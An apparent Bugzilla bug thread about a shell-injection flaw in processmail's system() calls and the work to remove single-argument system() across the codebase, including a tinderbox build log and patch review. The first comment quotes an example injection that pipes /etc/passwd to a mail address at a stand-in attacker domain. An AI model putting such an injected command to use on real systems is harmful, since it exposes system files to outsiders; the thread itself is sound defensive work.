The processmail script is called using system(). Almost every call of processmail puts unchecked values from the CGI forms in the command-line that's given to the shell. This means that people can execute arbitrary commands by embedding shell meta-characters (eg `cat /etc/passwd | mail cracker@badboyz.org`) in CGI form variables. Ways to fix this include either making processmail take this information from stdin, or carefully stripping shell metachars out of the command line, or giving up on system() and doing the fork/exec directly.

Changing to mozilla.org only until it's fixed.

Actually, I think the only unchecked value ever fed to processmail is $::FORM{'who'}, and it would be easy to check that one too. Am I missing something?

Anyway, another good idea is to call the multi-parameter version of system(), which in perl will *not* invoke a shell. If I remember correctly.

Yes, replacing all single-arg calls to system() with multi-arg calls would be an excellent fix for this.

another test

erk, wrong bug; sorry kids

tara@tequilarista.org is the new owner of Bugzilla and Bonsai. (For details, see my posting in netscape.public.mozilla.webtools, news://news.mozilla.org/38F5D90D.F40E8C1A%40geocast.com .)

Opening up the permissions so that tara can see this.

reassigning this to cyeh as he ended up handling the whole thing--Chris can you work with dmose to make sure this is all handled?

i applied this patch. it's part of the 2.10 bugzilla release. we still need to patch up the other sections and undergo a complete security review.

Adding default QA contact to all open Webtools/Bugzilla bugs lacking one. Sorry for the spam.

moving to real milestones...

Just re-found this. We thought this was taken care of a long time ago. I just reviewed all the system calls (cd bugzilla; fgrep "system\(.*\s.*\)" *) and there are very few left using single-parameter system() calls, and all of those are using values that are self-generated and trustworthy.

We should remove all instances of one param system even if we think the content is trusted, just to be safe. Before this is marked FIXED, we should have a tinderbox check that makes sure one param system is used nowhere in the code to prevent this problem being reintroduced.

Some of the remaining one-param system() calls are done that way because they have output redirection. You lose the ability to do that as part of the system call by making it multi-parameter (because a shell is not invoked). However, you can redirect output from perl before making the call, like so: open SAVEOUT, ">&STDOUT"; # stash the original output stream open STDOUT, ">/path/to/output.file"; # redirect to file select STDOUT; $| = 1; # disable buffering system("system","call","goes","here"); # make your system call open STDOUT, ">&SAVEOUT"; # redirect back to original stream if you want to redirect STDERR as well, do like this: open SAVEOUT, ">&STDOUT"; open SAVEERR, ">&STDERR"; open STDOUT, ">/path/to/output.file"; open STDERR, ">&STDOUT" select STDERR; $| = 1; select STDOUT; $| = 1; system("whatever","with","params"); open STDERR, ">&SAVEERR"; open STDOUT, ">&SAVEOUT";

Sorry, I forgot to mention that. We should create a subroutine to do all that.

The tinderbox scripts (Scientists and Rooting, so far, the other when Hixie applies the patch to his) now test for single parameter system calls and create a fatal compilation error when any are found. This means the tree is now red again until this bug is fixed again.

OK, here's the build log with the checks in to make it fail on single-param system calls: Build Log (Full) Rooting Bugzilla perl 5.006 darwin on 06/02 23:28 Build Error Log tinderbox: tree: Bugzilla tinderbox: builddate: 991549712 tinderbox: status: busted tinderbox: build: Rooting Bugzilla perl 5.006 darwin tinderbox: errorparser: unix tinderbox: buildfamily: unix tinderbox: END Running cvs checkout Bug.pm has OK perl syntax buglist.cgi has OK perl syntax Running /usr/bin/perl -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/ Users/dave/tinderbox/ -Msafesystem collectstats.pl; Results: Compilation of collectstats.pl failed. Errors: Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/collectstats.pl line 135, near ""rm -f data/duplicates/dupes$today*")" (#1) (F) The function requires more arguments than you specified. /Users/dave/tinderbox/mozilla/webtools/bugzilla/collectstats.pl had compilation errors (#2) (F) The final summary message when a perl -c fails. Uncaught exception from user code: /Users/dave/tinderbox/mozilla/webtools/bugzilla/collectstats.pl had compilation errors. createaccount.cgi has OK perl syntax createattachment.cgi has OK perl syntax defparams.pl has OK perl syntax describecomponents.cgi has OK perl syntax describekeywords.cgi has OK perl syntax doeditparams.cgi has OK perl syntax doeditvotes.cgi has OK perl syntax duplicates.cgi has OK perl syntax editcomponents.cgi has OK perl syntax editgroups.cgi has OK perl syntax editkeywords.cgi has OK perl syntax editmilestones.cgi has OK perl syntax editparams.cgi has OK perl syntax editproducts.cgi has OK perl syntax editusers.cgi has OK perl syntax editversions.cgi has OK perl syntax enter_bug.cgi has OK perl syntax importxml.pl has OK perl syntax Running /usr/bin/perl -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/ Users/dave/tinderbox/ -Msafesystem globals.pl; Results: Compilation of globals.pl failed. Errors: Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/globals.pl line 112, near ""./syncshadowdb &")" (#1) (F) The function requires more arguments than you specified. /Users/dave/tinderbox/mozilla/webtools/bugzilla/globals.pl had compilation errors (#2) (F) The final summary message when a perl -c fails. Uncaught exception from user code: /Users/dave/tinderbox/mozilla/webtools/bugzilla/globals.pl had compilation errors. long_list.cgi has OK perl syntax Running /usr/bin/perl -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/ Users/dave/tinderbox/ -Msafesystem move.pl; Results: Compilation of move.pl failed. Errors: Uncaught exception from user code: Uncaught exception from user code: Uncaught exception from user code: Not enough arguments for safesystem::system at /Users/dave/tinderbox/ mozilla/webtools/bugzilla//globals.pl line 112, near ""./syncshadowdb &")" Compilation failed in require at /Users/dave/tinderbox/mozilla/webtools/bugzilla/ /Bug.pm line 30. require Bug.pm called at /Users/dave/tinderbox/mozilla/webtools/bugzilla/ move.pl line 26 main::BEGIN() called at /Users/dave/tinderbox/mozilla/webtools/bugzilla// globals.pl line 0 require 0 called at /Users/dave/tinderbox/mozilla/webtools/bugzilla// globals.pl line 0 Compilation failed in require at /Users/dave/tinderbox/mozilla/webtools/bugzilla/ /Bug.pm line 30. main::BEGIN() called at /Users/dave/tinderbox/mozilla/webtools/bugzilla// Bug.pm line 26 require 0 called at /Users/dave/tinderbox/mozilla/webtools/bugzilla// Bug.pm line 26 BEGIN failed--compilation aborted at /Users/dave/tinderbox/mozilla/webtools/ bugzilla/move.pl line 26. contrib/mysqld-watcher.pl has OK perl syntax new_comment.cgi has OK perl syntax post_bug.cgi has OK perl syntax Running /usr/bin/perl -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/ Users/dave/tinderbox/ -Msafesystem process_bug.cgi; Results: Compilation of process_bug.cgi failed. Errors: Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/process_bug.cgi line 1007, near "@ARGLIST;" (#1) (F) The function requires more arguments than you specified. /Users/dave/tinderbox/mozilla/webtools/bugzilla/process_bug.cgi had compilation errors (#2) (F) The final summary message when a perl -c fails. Uncaught exception from user code: /Users/dave/tinderbox/mozilla/webtools/bugzilla/process_bug.cgi had compilation errors. processmail has OK perl syntax query.cgi has OK perl syntax RelationSet.pm has OK perl syntax relogin.cgi has OK perl syntax reports.cgi has OK perl syntax sanitycheck.cgi has OK perl syntax show_activity.cgi has OK perl syntax show_bug.cgi has OK perl syntax showattachment.cgi has OK perl syntax showdependencygraph.cgi has OK perl syntax showdependencytree.cgi has OK perl syntax showvotes.cgi has OK perl syntax Running /usr/bin/perl -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/ Users/dave/tinderbox/ -Msafesystem syncshadowdb; Results: Compilation of syncshadowdb failed. Errors: Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/syncshadowdb line 162, near ""mysqldump -l -e $db_name $tablelist > $tempfile")" (#1) (F) The function requires more arguments than you specified. /Users/dave/tinderbox/mozilla/webtools/bugzilla/syncshadowdb had compilation errors (#2) (F) The final summary message when a perl -c fails. Uncaught exception from user code: /Users/dave/tinderbox/mozilla/webtools/bugzilla/syncshadowdb had compilation errors. userprefs.cgi has OK perl syntax whineatnews.pl has OK perl syntax Running /usr/bin/perl -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/ Users/dave/tinderbox/ -Msafesystem xml.cgi; Results: Compilation of xml.cgi failed. Errors: Uncaught exception from user code: Uncaught exception from user code: Uncaught exception from user code: Not enough arguments for safesystem::system at /Users/dave/tinderbox/ mozilla/webtools/bugzilla//globals.pl line 112, near ""./syncshadowdb &")" Compilation failed in require at /Users/dave/tinderbox/mozilla/webtools/bugzilla/ /Bug.pm line 30. require Bug.pm called at /Users/dave/tinderbox/mozilla/webtools/bugzilla/ xml.cgi line 26 main::BEGIN() called at /Users/dave/tinderbox/mozilla/webtools/bugzilla// globals.pl line 0 require 0 called at /Users/dave/tinderbox/mozilla/webtools/bugzilla// globals.pl line 0 Compilation failed in require at /Users/dave/tinderbox/mozilla/webtools/bugzilla/ /Bug.pm line 30. main::BEGIN() called at /Users/dave/tinderbox/mozilla/webtools/bugzilla// Bug.pm line 26 require 0 called at /Users/dave/tinderbox/mozilla/webtools/bugzilla// Bug.pm line 26 BEGIN failed--compilation aborted at /Users/dave/tinderbox/mozilla/webtools/ bugzilla/xml.cgi line 26. changepassword.cgi has OK perl syntax bug_form.pl has OK perl syntax CGI.pl has OK perl syntax Running /usr/bin/perl -cw -I/Users/dave/tinderbox/mozilla/webtools/bugzilla/ -I/ Users/dave/tinderbox/ -Msafesystem checksetup.pl; Results: Compilation of checksetup.pl failed. Errors: Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl line 1230, near ""stty echo")" (#1) (F) The function requires more arguments than you specified. Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl line 1310, near ""stty -echo")" (#1) Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl line 1331, near ""stty echo")" (#1) /Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl had compilation errors (#2) (F) The final summary message when a perl -c fails. Uncaught exception from user code: /Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl had compilation errors. colchange.cgi has OK perl syntax No More Errors

The highlights for those that don't want to read through the whole thing: :) Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/collectstats.pl line 135, near ""rm -f data/duplicates/dupes$today*")" (#1) Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/globals.pl line 112, near ""./syncshadowdb &")" (#1) Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/process_bug.cgi line 1007, near "@ARGLIST;" (#1) Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/syncshadowdb line 162, near ""mysqldump -l -e $db_name $tablelist > $tempfile")" (#1) Not enough arguments for safesystem::system at /Users/dave/tinderbox/mozilla/webtools/bugzilla/checksetup.pl line 1230, near ""stty echo")" (#1) So we have 5 files with 1-param system calls in them. The patch I attached a couple minutes ago fixes them in checksetup.pl.

In globals.pl, we have this: sub SyncAnyPendingShadowChanges { if ($shadowchanges) { system("./syncshadowdb &"); $shadowchanges = 0; } } I don't think the & there even works. PutFooter calls this sub. You ever notice when Bugzilla is busy that when you display a page, the browser stays connected for a long time after the footer displays? I think this routine is not backgrounding like it was intended, so it's tying up browser time waiting for it to finish. And since it's still attached to the CGI process I wonder if it gets killed when the user hits their stop button or loads another page before it finishes....

I was having a hard time coming up with a "safe" way to make an output redirection sub that we could put in globals.pl that didn't require a lot of hokey typeglob stuff in order to either return the original filehandle to the caller or save it somewhere else. So I opted to just put the redirection code around the system call directly in the patch for syncshadowdb.

And that's everything but the attempt to call syncshadowdb in the background in globals.pl. I'm not sure what to do about that one. fork and exec would be the obvious thing, except that I don't think fork() is guaranteed to work on all Perl variants...

ok, did some reading up on it... fork() works as long as the system is POSIX compliant. Which I suppose rules out Windows.... anyone know if Windows claims to be POSIX for these purposes?

fork() is "experimental" on Windows: http://aspn.activestate.com/ASPN/Reference/Products/ActivePerl/lib/Pod/perlfork. html Gerv

New patch for collectstats.pl, based on feedback in IRC, eliminate the system call altogether because there's a Perl built-in that does the same task.

In the new patch for syncshadowdb, I just realized that $tablelist was a list of parameters with spaces between them, generated from @tables. Since we're using the list-based system() call now, we can just pass @tables itself without joining it first.

guess I should own this since I wrote the most recent patches.

r=tara

checked in.

i'm a piss poor reviewer. this line: exec("./syncshadowdb",[]) or die "Unable to exec syncshadowdb: $!"; is causing an issue as i think dave thought it would. hit the url on landfill and see the fun little error message at the bottom.

I don't see an error but I'm guessing it has something to do with "can't pass ARRAY(0xXXXXXXX) as a parameter" or something to that effect. :-) Need to review syncshadowdb, the way to get this past the test is probably just to pass "--" as a paramater.

What it's doing is printing "Usage: syncshadowdb [-v] [-syncall]" at the bottom of the page. I'd guess that making syncshodowdb accept some form of an empty param (like --) would be the solution.

revised patch r=tara in irc after testing on landfill. Checked in.

Moving to Bugzilla product